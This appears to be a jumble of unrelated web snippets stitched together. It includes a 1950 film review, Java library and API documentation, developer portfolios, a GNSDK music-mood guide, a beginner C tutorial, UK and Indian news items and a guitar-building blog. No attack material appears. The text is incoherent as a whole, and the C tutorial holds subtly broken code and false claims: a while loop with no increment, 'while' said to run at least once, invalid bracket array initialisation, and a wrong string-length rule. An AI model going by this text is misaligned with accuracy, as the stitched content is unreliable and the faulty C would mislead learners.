Herbert Wilcox's film, made at MGM Studios, Boreham Wood, is a Technicolor follow up to 'Spring in Park Lane', one of the top UK box office successes of 1948. It has the same stars (his wife Anna Neagle and Michael Wilding, in an very mannered performance), songs (which here include:"Do I Love You" (Music:Bruno Bidoli/Words: David Heneker), "I'm Not Going Home"(Music:Fred Prisker/Words: Kermit Goell) and "Maytime in Mayfair" (Music: Harry Parr Davies/Words: Harold Purcell), the same musical director (Robert Farnon: the score features Farnon's composition "Melody Fair" (for a fashion parade sequence), together with arrangements of "The Moment I Saw You" and "Early One Morning"), and screenwriter (Nicholas Phipps). However, whereas 'Spring' was a deliciously light souffle concoction, albeit in black and white, this sequel is more of a stodgy Technicolor pudding. Thora Hird makes a good impression as a rather 'refined' receptionist at the salon. 'Maytime' features a fashion show of top UK designs of 1950, which is of interest to fans of the 'New Look', and (as in the earlier film) Neagle and Wilding dance in the style of Astaire and Rogers. In an era of ration books and postwar austerity, it is not difficult to see wny films such as 'Maytime in Mayfair' were popular, particularly with female audiences, to whom the characters and their world must have epitomised "glamour". As a contribution to the late 1940's fantasy/glamour cycle of films ('The Red Shoes' is another example), 'Maytime In Mayfair' is not without interest.
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A B+Tree with many features.
At the moment, the on-disk format is NOT stable. It will almost
certainly change in the future. Please do not use the BTree to store
data across invocations of the JVM.
At the moment, the BTree does not support deleting or replacing values.
There are three kinds of classes in this package:
- The {@see
BTree}
class
itself, which provides the B+Tree data structure parameterized
over a key type (K), value type (V), and optional summary (see
below) type (S).
- Subclasses of {@see
gtl.index.btree.NodeCursor}, which are
package-private. These act like smart "pointers" to individual
pages within the BTree and help to simplify BTree.java.
- The {@see PageStorage}
class and subclasses. A PageStorage is sort of like
a HashMap<Integer,byte[]> with a few extra
features and restrictions. A CachingPageStorage is like a
PageStorage that lets you write directly to the byte[]'s that
are resident in memory.
The subpackage unboxed provides "unboxed"
versions of many data structures; please take a brief look at it
first.


Mobile App / Logo
Web / Responsive
Web / One-page
Logo / Branding
Editorial
Photoshop
Web / modoo.at
Web / Smart Store
Web / Cafe24
Business Card / Banner /Advertise / PP Holder
Kiosk, Payment Page


ICEfaces 2 is the new version of the ICEfaces framework that integrates with JavaServer Faces (JSF) 2. With ICEfaces 2, our goal is to deliver the highest value existing ICEfaces features, as well as important new enhancements, cleanly integrated into the JSF 2 platform. There are a number of ways to take advantage of ICEfaces 2 in your JSF 2 application:
First, add the icefaces.jar to your project. This immediately allows you to take advantage of Direct-to-DOM (D2D) rendering technology. D2D only sends browser DOM changes from the server to the browser, minimizing bandwidth consumption without the need to specify the new "f:ajax" component in your pages. Once the icefaces.jar is added to your project, you can also take advantage of ICEfaces Window Scope and Single Submit features.


| Interface | Description |
|---|---|
| CramerShoupPrivateKey | |
| CramerShoupPublicKey | |
| DamgardJurikPrivateKey | |
| DamgardJurikPublicKey | |
| DSAPrivateKey | |
| DSAPublicKey | |
| ElGamalPrivateKey | |
| ElGamalPublicKey | |
| KeySendableData |
This is a marker interface.
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| Class | Description |
|---|---|
| AsymKeyGenParameterSpec | |
| ScCramerShoupPrivateKey |
This class represents a Private Key suitable for the Cramer Shoup Encryption Scheme.
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| ScCramerShoupPrivateKeySpec | |
| ScCramerShoupPublicKey |
This class represents a Public Key suitable for the Cramer Shoup Encryption Scheme.
|
| ScCramerShoupPublicKey.ScCramerShoupPublicKeySendableData | |
| ScCramerShoupPublicKeySpec | |
| ScDamgardJurikPrivateKey |
This class represents a Private Key suitable for the Damgard-Jurik Encryption Scheme.
|
| ScDamgardJurikPublicKey |
This class represents a Public Key suitable for the Damgard-Jurik Encryption Scheme.
|
| ScDSAPrivateKey |
This class represents a Private Key suitable for the Digital Signature Algorithm.
|
| ScDSAPrivateKeySpec | |
| ScDSAPublicKey |
This class represents a Public Key suitable for the Digital Signature Algorithm.
|
| ScDSAPublicKey.ScDSAPublicKeySendableData | |
| ScDSAPublicKeySpec | |
| ScElGamalPrivateKey |
This class represents a Private Key suitable for the El Gamal Encryption Scheme.
|
| ScElGamalPrivateKeySpec | |
| ScElGamalPublicKey |
This class represents a Public Key suitable for the El Gamal Encryption Scheme.
|
| ScElGamalPublicKey.ScElGamalPublicKeySendableData | |
| ScElGamalPublicKeySpec |


- Declared type:
shows the type of the variable that holds the reference to the object.
- Synthetic fields:
shows synthetic fields (for example, compiler-generated fields of inner classes).
- $val fields as local variables:
shows outside variables used in anonymous classes as if they were local. Requires Synthetic fields.
- Fully qualified names:
shows fully qualified names for actual and declared types.
- Object id:
provides the ID of the particular instance, for example,
java.util.ArrayList@798
. For ID to be
displayed, the Show
Types option needs to be enabled.
- Static fields:
shows static fields in the Variables tab and tooltips.
- Static final fields:
shows static final constants in the Variables tab and tooltips. Requires Static fields.


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MechMK1
Programming, Information Security and bad Web Design.
I've been programming for several years now — C#, Java, C, SQL, Python and some x86 ASM in my spare time as well. Recently I've stated getting into web design as well, as you can see by this brilliantly copied – ehh – adapted website.
I also enjoy working with Linux, especially in a server environment. That's why this website is powered by an Ubuntu Server.
So while you're here, why not check out all the other stuff I've made so far?


Cookie test example
Cookies for aggregated1 :
JSESSIONID=C456B8DD7F53E2499AD7D5A5EF035835; test0=value0; test1=value11
Number of Cookie headers : 1
Cookies for aggregated2 :
JSESSIONID=02271123926D47D2054E2B9F6994A6D7; test1=value11; test2=value2; testjs=testJs
Number of Cookie headers : 1
Total 4 cookies :
test0 and test1 are passed to aggregated1
test1, test2 and testjs are passed to aggregated2
test0 and test1 are set by aggregated1
test1 and test2 are set by aggregated2 (note that test1 has the last value set in the headers)
testjs is set by the navigator
Each application has its own JSESSIONID, which differ from aggregator


Career Links
So I have been going to Meetups around the area and met some interesting people. And yesterday I have 2 more rejections email from recruiters. Thomas Edison has a saying that “I have not failed. I’ve just found 10,000 ways that won’t work.” And I will keep applying for jobs and keep networking and keep finding ways to improve myself to be a more sufficient developer.
Here are some good information:


Recent Work
Train Scheduler
Persist Data with Firebase.
Music Trivia
Ranom music question game.
Word Guess Game
Try to guess the name of a few LoFi producers. Formatted like Hangman.
RPG Game
Pick a character and try to defeat all the other characters.
ISS Tracker
Track the ISS in near real time as well other informtaion relevant to the ISS.
Shift Change
This was a group project. App for scheduling/switching shifts in the work place.


Implementing Mood in an application involves the following steps:
Before using the Mood APIs, follow the usual steps to initialize GNSDK for Mobile. The following GNSDK for Mobile modules must be initialized:
For more information on initializing the GNSDK for Mobile modules, see “Initializing an Application.”
To initialize Mood, use the gnsdk_moodgrid_initialize() function.
error = gnsdk_moodgrid_initialize(sdkmgr_handle);
GNSDK automatically registers all local and online data sources available to Mood. For example, if you create a playlist collection using the Playlist API, GNSDK for Mobile automatically registers that playlist as a data source available to Mood. These data sources are referred to as Providers. Mood is designed to work with multiple providers. You can iterate through the list of available Providers using the gnsdk_moodgrid_provider_count() and gnsdk_moodgrid_provider_enum() functions. For example, the following call returns a handle to the first Provider on the list (at index 0):
gnsdk_moodgrid_provider_enum(0, &provider);
You can use the handle to the Provider to retrieve the following information, by calling the gnsdk_moodgrid_provider_get_data() function:
Once you have a handle to a Provider, you can create and populate a Mood Presentation with Mood data. A Presentation is a data structure that represents the Mood, containing the mood name and playlist information associated with each cell of the grid.
To create a Mood Presentation, use the gnsdk_moodgrid_presentation_create() function, passing in the user handle, the type of the Mood, and the provider handle. The type can be one of the enumerated values in gnsdk_moodgrid_presentation_type_t: either a 5x5 or 10x10 grid. The function returns a handle to the Presentation:
gnsdk_moodgrid_presentation_create(user, type, NULL, NULL, &presentation);
Each cell of the Presentation is populated with a mood name an associated playlist. You can iterate through the Presentation to retrieve this information from each cell. The following pseudo-code demonstrates this procedure:
gnsdk_moodgrid_presentation_type_dimension(type, &max_x, &max_y); for (every grid cell [x,y] from [1,1] to [max_x, max_y]) { gnsdk_moodgrid_presentation_get_mood_name(presentation, x, y, &name); gnsdk_moodgrid_presentation_find_recommendations(presentation, provider, x, y, &results); gnsdk_moodgrid_results_count(results, &count); for ( every item i in results ) gnsdk_moodgrid_results_enum(results, i, &ident); }
Calling the gnsdk_moodgrid_presentation_type_dimension() function obtains the dimensions of the grid, which allows you to iterate through each cell. For each cell you can get the mood name by calling the gnsdk_moodgrid_presentation_get_mood_name() function with the coordinates of the cell. The locale of the mood name is based on the playlist group locale, and if that is not defined, it is based the music group locale. You can also get the list of recommended tracks (playlist) for that particular mood by calling the gnsdk_moodgrid_presentation_find_recommendations() function with the same coordinates. Finally, you can get the identifier for each track in the playlist, by iterating through the results and calling the gnsdk_moodgrid_results_enum() function.
If you wish, you can filter the Mood results. Mood provides filtering by genre, origin, and era. If you apply a filter, the results that are returned are pre-filtered, reducing the amount of data transmitted. For example, the following call sets a filter to limit results to tracks that fall within the Rock genre.
gnsdk_moodgrid_presentation_filter_set(presentation, "FILTER", GNSDK_MOODGRID_FILTER_LIST_TYPE_GENRE, GNSDK_LIST_MUSIC_GENRE_ROCK, GNSDK_MOODGRID_FILTER_CONDITION_INCLUDE);
When you are finished using Mood, you can use the gnsdk_moodgrid_shutdown() function to shut it down. The GNSDK for Mobile modules necessary for running Mood should be shut down in the following order:
This example provides a complete Mood sample application.
Sample Application: moodgrid/main.c.
Sample output:
GNSDK Product Version : <IP_ADDRESS>8 (built 2013-05-08 16:09-0700) Loading sample collection Enumerating for the first Moodgrid Provider available GNSDK_MOODGRID_PROVIDER_NAME : sample_collection GNSDK_MOODGRID_PROVIDER_TYPE : gnsdk_playlist GNSDK_MOODGRID_PROVIDER_NETWORK_USE : FALSE PRINTING MOODGRID 5 x 5 GRID X:1 Y:1 name: Peaceful count: 10 X:1 Y:1 ident: 20_7 group: sample_collection X:1 Y:1 ident: 9_7 group: sample_collection X:1 Y:1 ident: 11_5 group: sample_collection X:1 Y:1 ident: 16_11 group: sample_collection X:1 Y:1 ident: 18_2 group: sample_collection X:1 Y:1 ident: 18_8 group: sample_collection X:1 Y:1 ident: 19_2 group: sample_collection X:1 Y:1 ident: 19_8 group: sample_collection X:1 Y:1 ident: 20_2 group: sample_collection X:1 Y:1 ident: 6_3 group: sample_collection X:1 Y:2 name: Easygoing count: 3 X:1 Y:2 ident: 18_11 group: sample_collection X:1 Y:2 ident: 4_12 group: sample_collection X:1 Y:2 ident: 4_4 group: sample_collection X:1 Y:3 name: Upbeat count: 8 X:1 Y:3 ident: 3_19 group: sample_collection X:1 Y:3 ident: 3_2 group: sample_collection X:1 Y:3 ident: 3_4 group: sample_collection X:1 Y:3 ident: 3_5 group: sample_collection X:1 Y:3 ident: 3_13 group: sample_collection X:1 Y:3 ident: 3_14 group: sample_collection X:1 Y:3 ident: 3_18 group: sample_collection X:1 Y:3 ident: 3_1 group: sample_collection ... More


This was my final project in my Unity3D VR/AR bootcamp at Grand Circus. My partner and I utilized augmented reality to bring the book “Cosmos” by Carl Sagan to life. For the proof of concept we created six different scenes and image targets. Each scene helped the user better visualize and interact with a concept in the book. We presented this app at Demo Day the end of March, 2018.
Drag to move galaxy.
Scale and tap to learn the phases of the moon.
Tap to send asteroids to Earth 4.6 billion years ago.
Press the button to launch and hear real audio from NASA.
The first part of the scene helps the user visualize the phases of the moon in relation to the sun. They can tap on a moon to learn the phase of the moon in that position. The second part of the scene allows the user to test their knowledge. They are given a random phase of the moon, if they tap the correct moon they get another phase, if not they keep guessing. Chapter 2 (above) is this scene from the users point of view.
We imagined a user buying a book and downloading the complementary app. As they read the book they come across pages like this mock-up. They use their app and a unique image target, like the astronaut, to trigger the correct augmented reality experience that corresponds to the page of the book.


The C programming language is a general purpose programming language, which relates closely to the way machines work. Understanding how computer memory works is an important aspect of the C programming language. Although C can be considered as "hard to learn", C is in fact a very simple language, with very powerful capabilities.
-
C is a very common language, and it is the language of many applications such as Windows, the Python interpreter, Git, and many many more.
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C is a compiled language - which means that in order to run it, the compiler (for example, GCC or Visual Studio) must take the code that we wrote, process it, and then create an executable file. This file can then be executed, and will do what we intended for the program to do.
To create your first C code, you must first include the stdio.h
library, with which you can add simple features, such as printing, reading variables, etc.
#include <stdio.h>
With that, we can write our first code that prints Hello World. Legend has it in the tech world that if your first code learning new technology isn't writing hello world, you'll never be able to learn it.
int main(){
printf("Hello World!");
}
Analyzing the code, we have a main () function that will contain our main code. Inside main we have a printf function imported from the stdio.h library whose function is to print the words and variables on the terminal, the phrase hello world is enclosed in double quotes saying that those are words to print. And every line of code always ends with a semicolon to mark the end of that line of code.
C is case sensitive, meaning upper and lower case letters make a difference. A name
variable is different from Name
.
In C there are several types of variables.
- Integers - whole numbers which can be either positive or negative. Defined using
char
,int
,short
,long
orlong long
. - Unsigned integers - whole numbers which can only be positive. Defined using
char
,unsigned int
,unsigned short
,unsigned long
orunsigned long long
. - Floating point numbers - real numbers (numbers with fractions). Defined using
float
anddouble
.
To declare an integer variable
int number;
To declare a variable and assign a value
int number = 2;
To declare a variable with a floating point.
float number = 2.2;
To declare a character
char character = 'a';
To declare strings
char string[10] = "music";
As a character occupies a memory space, to declare strings it is necessary to declare the equivalent length of the string minus one, since the last space allocates the null terminator \0
.
the scanf function is used to read values assigned by the user
int num;
printf("Enter a number");
scanf("%d", &num);
As you can see, if we compile this code in the terminal, it will be waiting for you to type something and press ENTER, otherwise it will not execute
It is also seen that integer types are referred to by% d, float types receive% f, char types receive% c and string types receive% s. Of course, there are several others, but these are the most basic.
Relational operators are used to compare values or variables
- Bigger then
>
- Less than
<
- Bigger or equal
>=
- Less or equal
<=
- Equality
==
- Different
!=
Perform a logical operation between values
- Exclusive OR
^
- OR
||
- AND
&&
- NOT
!
Conditional operators allow the program to make a choice according to the given data
int num1 = 3;
int num2 = 4;
if(num1 > num2){
printf("%d is bigger than %d", num1, num2);
}else{
printf("%d is bigger than %d", num2, num1);
}
In the code above you can see that we have two paths to be followed by the program, if num1 is greater than num2 then execute the first code, otherwise it executes another code.
We also have the switch method
int num1;
printf("Enter a number from 1 to 5");
scanf("%d", &num1);
switch(num1){
case 1:
//code
break;
case 2:
//code
break;
case 3:
//code
break;
case 4:
//code
break;
case 5:
//code
break;
default:
//code
}
As you can see, it will perform an action according to the amount you enter. We also see that after each case we have a break that serves to stop the command when it reaches the result.
The repetition structures are used to repeat the command more than once
- for command
- command while
- Command do..while
int i;
for(i = 0; i < 10; i++){
printf("Number %d", i);
}
For this command it receives three parameters so to speak, a counter i that receives a value to start the count, a condition in which the operation will stop if the condition is false, and an incrementer to execute again. In the above case it will execute print Number 1, 2, 3 ... 10 times
In this case it will repeat the operation n times as long as the operation is true
int i = 0;
while(i < 10){
printf("Number %d", i);
}
The while structure will execute at least once before testing whether the condition is true.
int i = 0;
do{
printf("Number %d", i);
}while(i < 10);
It is common to create several variables, so we can store them in a single variable, the vectors.
int vet[10] = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
In the code above we created a vector that stores ten numbers
Arrays
arrays serve to create vectors of different dimensions.
int array[10][10];
In the code above we created an array that stores numbers in ten rows and ten columns, that is, a matrix, so we can store a hundred numbers
All the documentation in this page is taken form Microsoft


New free-to-use streaming platform Plex to rival Netflix launches in the UK
Plex offers a range of movies and TV shows
by Neil ShawA new streaming platform has launched in the UK that is set to rival the likes of Netflix, Sky and Amazon Prime.
However unlike other binge-worthy services, the service is completely free-to-use.
Plex offers thousands of films, TV shows and web series to stream without charge, says GrimsbyLive .
Titles such as Zulu, Rain Man, Raging Bull, Lord of War, The Terminator, Apocalypse Now and Thelma and Louise are available to watch now.
But Plex says it will continue to add new content on top of its current library of thousands of Hollywood blockbusters, TV shows, extreme sports films, music documentaries, Bollywood musicals and more.
Plex has teamed up with Warner Bros to offer the service - which includes adverts - and has just launched.
All you need to view any of the content is a Plex account, which is free to set-up.
Plex’s library includes content from the major Hollywood studios, including MGM, Lionsgate, Legendary and Warner Bros.
Until now, Plex had been a media library service designed to help you keep your own video content organised and available to stream on any of your devices.
Plex CEO Keith Valory, said: "Plex was born out of a passion for media and entertainment, and offering free ad-supported premium movies and TV shows is just the latest step in our mission to bring all your favorite content together in one place.
"What started more than a decade ago as a passion project to make accessing media on connected devices easier has evolved into the most comprehensive streaming platform in the industry, used by millions of people around the world."
Plex is available to download for free on iOS, Android, PlayStation, Xbox, Android TV, Fire TV, macOS, Windows and other platforms.


Creates w2toolbar object based on grid.toolbar definition.
initToolbar()
Returns undefined.
Description
This method is called internally to create w2toolbar object based on .toolbar
property. After w2toolbar object is created it will be assigned back to the .toolbar
property.
It will also attach event listeners to the toolbar to perform grid's functions. This is an internal method, but
it can be overwritten.


A function to receive channels on.
Receives exactly one message from this data channel.
Creates a timeout that throws with the given error message.
Generated using TypeDoc
A function to receive channels on.


It's politics: Priyanka on removal of SPG cover
Congress General Secretary Priyanka Gandhi Vadra on Thursday dubbed the removal of Special Protection Group cover from the Gandhi family part of politics which keeps happening.
IMAGE: Congress leader Priyanka Gandhi Vadra speaks to media outside AICC office in New Delhi. Photograph: ANI Photo
Talking to reporters at the party headquarters in New Delhi, she also said the country's economy is in a "bad state" and there is a "severe slowdown", to which the Congress has been drawing the government's attention, and the Centre must do something about it.
To reporters' query on removal of the SPG cover from the Gandhi family, the Congress leader simply replied, "It's part of politics and this keeps happening."
The Centre earlier this month replaced the SPG cover of the family of former prime minister Rajiv Gandhi, assassinated by Liberation Tigers of Tamil Eelam terrorists on May 21, 1991, with the 'Z-plus' security of the Central Reserve Police Force.
Under the Z-plus security, they are being protected by Central Reserve Police Force commandos in close proximity besides guards at their homes and where ever they travel in the country.
The Gandhis are now without SPG protection after 28 years.
They were included in the VVIP security list following an amendment in September, 1991 in the SPG Act of 1988.
The SPG Act was initially supposed to provide security to only the prime minister and former prime ministers of the country
Prime Minister Narendra Modi is now the only person being protected by the elite SPG commandos.
SPG protectees, under the rules, are provided with guards, hi-tech vehicles, jammers and an ambulance in their cavalcade.


Literacy Projects of the UN Staff 1% for Development Fund
Kitengesa Community Library, Kitengesa Uganda
“The Library Scholars” (student-users who also volunteer at the library—holding up their
favourite books)
New library panel, purchased with Book Fair contributions
New roof for computer center purchased with Book Fair funds


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Our policies are in place to ensure proper governance and for the protection of the youth in our programs.
Code of Ethics/ Child Protection Policy/ Scholarship Policy/ Gift Acceptance Policy/ Whistleblower Policy


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This could be titled Lessons Learned, though I should make clear at the start that the Vinocaster has turned out to be a wonderful instrument, it's still my main guitar. To almost all intents and purposes it is now finished, although I do want to tweak the wiring/scratchplate a little asap, my current switch setup isn't wonderful.
Anyhow, It's a wonderful thing, hindsight. I've been using the Vinocaster for quite a while now, occasionally making tweaks, and have learnt a few things over this period. In summary, in retrospect I should have :
- ...waited until I had some transparent epoxy for gluing the body together
- ...spent a lot more time getting the finish right first time
- ...accepted that this guitar wouldn't produce every sound and focussed on making its own sound good
- ...used the Stratocaster's scratchplate design
A Universal Guitar isn't a Good Idea
I wanted the Vinocaster to fulfil all my guitar requirements. As I've since discovered, this was rather wrong-minded. Many different styles of guitar have distinctive sounds, but probably the clearest difference in solid-bodied electrics is that between the Fender style and the Gibson Les Paul style. Basically I'd assumed I could get a guitar built in the Fender style to produce LP sounds simply by strapping on the appropriate pickup (a humbucker). Nope.
This was made clear to me when on impulse, I ordered a 115 euro LP copy, a "Harley Benton" (Thomann's own - Chinese? - brand). Previous experience suggested this would be perfectly playable once set up despite slightly sub-standard hardware, the body and neck being acceptable quality, but probably sound poor because of crummy pickups. So without a thought I replaced the pups with some that appeared more suitable, GFS "Vintage 59"s. Net result a pretty good sounding low-cost LP clone, ideal for blues/metal.
Anyhow it turned out that my assumption that LP-style pickups on the Vinocaster for an LP sound wasn't totally wrong, the choice of pickup does seem to be by far the biggest single influence on the sound. But neither a true (TV Jones - I also wanted a Gretsch sound!) humbucker in the bridge position nor various combinations of single-coil humbuckers (Seymour Duncan) elsewhere really captured the same feel. So it also seems the physics of the rest of the instrument make a pretty significant contribution. Here's my latest guess at the ranking of the influence of the different factors and their scope for modification:
- Pickup - relatively easy to change
- Pickup placement - slightly harder to change
- Scale length - major reconstruction
- Hardware - inconvenient to change
- Weight/density, body shape etc. - major reconstruction
Pickups Plan B
Which should have been Plan A.
Jangle
So I decided to still aim for versatility, but now within the bounds of what the Vinocaster seemed good at. Ok, so one guitar sound I quite like is "jangly", and this should be in scope for a Strat-style instrument. Danelectro guitars have a reputation for being particularly jangly, and they use , so I decided to have a GFS lipstick-tube in the middle position.
Transparency
I'd read good things about Lace Alumitone pickups, which are a novel design - the main pickup coil is the (low impedance) aluminium body of the pickup itself whichis hooked to a little transformer. The Alumitone reviews use words like "transparent", "wide-band", "hi-fi" and even "sterile". Nothing wrong with "sterile"!. For my purposes, also influential was the line "With a 5-position switch they provide surprisingly very stratty in between tones."
. So I've got one in the neck position.
Twang
I've left the TV Jones pickup in the bridge position, it's got a great sound. But I did slap my forehead for buying the boring-looking humbucker style form factor rather than the much cooler traditional Gretsch. I can hack the body of this guitar however I want, the pickup shape doesn't matter.
Result
So I've decided this pickup setup is the final version. Although I can't really imitate an LP with it, that doesn't matter, I now have a separate LP style guitar for that purpose. What I am really happy about is that it does have a very good range of sounds, many quite characteristic to it and hence unique.
I've put the Seymour Duncan pickups I had in the Vinocaster in my (already fairly modded) Squire Strat which now produces a pretty good generic Strat sound, which also happens to be very handy for reference purposes.
Electronics
The Stratocaster is a remarkably good design Vinotone
Compromises are probably a bad idea
Grey epoxy. finish


"This is your code. This is your code, managed."
Here. I'm heading up to Redmond to do a taping of the .NET Show on Monday on the topic of managed code. Robert's idea is to show folks that still think of .NET as managed only just what they're missing. I've got 15 minutes for a code demo. Suggestions?


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--- layout: portfolio title: "Portfolio Piece: Trading Algorithm" date: 2019-04-18 18:04:42 -0700 background: '/assets/Images/background_image.jpg' categories: Tech ---
For my senior project, I was able to convince 3 other of my classmates about the greatness of investing and Wall Street. We created a machine learning trading algorithm, which we implemented on a FPGA Board, to implement live trades on a paper portfolio.
Our Trading algorithm takes different well known investing strategies to decide on a Buy or Sell in our stock universe, and uses machine learning to adjust the weights for each of these strategies for each stock in the universe.
For example, a stock like Tesla might be more correlated with the general opinion of Twitter and Reddit users, while a stock like HealthEquity might be more correlated with the Four Candle Hammer Strategy.
To learn more about the trading algorithms we are researching, feel free to checkout our Website which shows how our algorirthm is doing, recent trades, and our trading strategies
Our technology stack includes
Let me know what you think or if you have any questions.
-JoCee Porter


Hallo !
The firth ansfer for evry one is, this site is nearly for because this is mine 2th test with a sites hier I have all what I can.